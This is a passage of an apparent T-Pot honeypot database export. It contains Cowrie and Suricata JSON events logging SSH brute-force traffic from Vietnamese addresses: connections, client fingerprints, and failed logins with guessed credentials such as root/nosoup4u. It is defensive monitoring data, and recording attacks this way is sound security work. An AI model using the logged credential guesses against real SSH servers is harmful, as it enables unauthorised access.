"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22487	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:58.522345+03	2021-09-20 14:15:06.278472+03	{"_id": "GQbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [cesar/cesar] failed", "session": "28bf660714c4", "@version": "1", "password": "cesar", "username": "cesar", "timestamp": "2021-09-20T11:06:58.522345Z", "@timestamp": "2021-09-20T11:06:58.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22488	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.816733+03	2021-09-20 14:15:06.28047+03	{"_id": "GgbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4f21cc6405e9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:58.816733Z", "@timestamp": "2021-09-20T11:06:58.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22489	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:58.825829+03	2021-09-20 14:15:06.281471+03	{"_id": "GwbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a81fee7a5d8a", "@version": "1", "timestamp": "2021-09-20T11:06:58.825829Z", "@timestamp": "2021-09-20T11:06:58.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22490	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.010958+03	2021-09-20 14:15:06.28247+03	{"_id": "HAbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [matrix/matrix] failed", "session": "9b6c752ab340", "@version": "1", "password": "matrix", "username": "matrix", "timestamp": "2021-09-20T11:06:59.010958Z", "@timestamp": "2021-09-20T11:06:59.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22492	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.668009+03	2021-09-20 14:15:06.284471+03	{"_id": "HgbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45154 (192.168.176.2:22) [session: 97b9fa918811]", "session": "97b9fa918811", "@version": "1", "protocol": "ssh", "src_port": 45154, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.668009Z", "@timestamp": "2021-09-20T11:06:58.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22493	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.794726+03	2021-09-20 14:15:06.28647+03	{"_id": "HwbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59392 (192.168.176.2:22) [session: 4f21cc6405e9]", "session": "4f21cc6405e9", "@version": "1", "protocol": "ssh", "src_port": 59392, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.794726Z", "@timestamp": "2021-09-20T11:06:58.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22494	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.73693+03	2021-09-20 14:15:06.287471+03	{"_id": "JwbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58674 (192.168.176.2:22) [session: d58939a7bd18]", "session": "d58939a7bd18", "@version": "1", "protocol": "ssh", "src_port": 58674, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.736930Z", "@timestamp": "2021-09-20T11:06:58.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22495	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.600616+03	2021-09-20 14:15:06.28947+03	{"_id": "IQbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [*****/*****] failed", "session": "7e70e98bbfd3", "@version": "1", "password": "*****", "username": "*****", "timestamp": "2021-09-20T11:06:58.600616Z", "@timestamp": "2021-09-20T11:06:58.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22496	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.289928+03	2021-09-20 14:15:06.290471+03	{"_id": "KQbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "204e4ebdbd75", "@version": "1", "duration": 2.447819709777832, "timestamp": "2021-09-20T11:06:58.289928Z", "@timestamp": "2021-09-20T11:06:58.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22497	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.82524+03	2021-09-20 14:15:06.291471+03	{"_id": "IwbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2d7ce8d0fb65", "@version": "1", "duration": 2.7952935695648193, "timestamp": "2021-09-20T11:06:58.825240Z", "@timestamp": "2021-09-20T11:06:58.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22498	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:58.546689+03	2021-09-20 14:15:06.293471+03	{"_id": "KwbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a81fee7a5d8a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:58.546689Z", "@timestamp": "2021-09-20T11:06:58.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22499	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.004431+03	2021-09-20 14:15:06.29447+03	{"_id": "JAbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/nosoup4u] failed", "session": "31a25cff8312", "@version": "1", "password": "nosoup4u", "username": "root", "timestamp": "2021-09-20T11:06:59.004431Z", "@timestamp": "2021-09-20T11:06:59.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22500	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.074676+03	2021-09-20 14:15:06.29547+03	{"_id": "JQbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4f21cc6405e9", "@version": "1", "timestamp": "2021-09-20T11:06:59.074676Z", "@timestamp": "2021-09-20T11:06:59.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22501	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:59.074014+03	2021-09-20 14:15:06.29647+03	{"_id": "VwbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1814041367601268, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59392, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.074014Z", "@timestamp": "2021-09-20T11:06:59.074Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22502	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:59.016861+03	2021-09-20 14:15:06.297471+03	{"_id": "VQbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 899159646458915, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58674, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.016861Z", "@timestamp": "2021-09-20T11:06:59.016Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22503	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:59.724639+03	2021-09-20 14:15:06.299471+03	{"_id": "WQbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1845852042926782, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38418, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.724639Z", "@timestamp": "2021-09-20T11:06:59.724Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22504	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:59.823169+03	2021-09-20 14:15:06.300471+03	{"_id": "WgbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1614003265803742, "@version": "1", "in_iface": 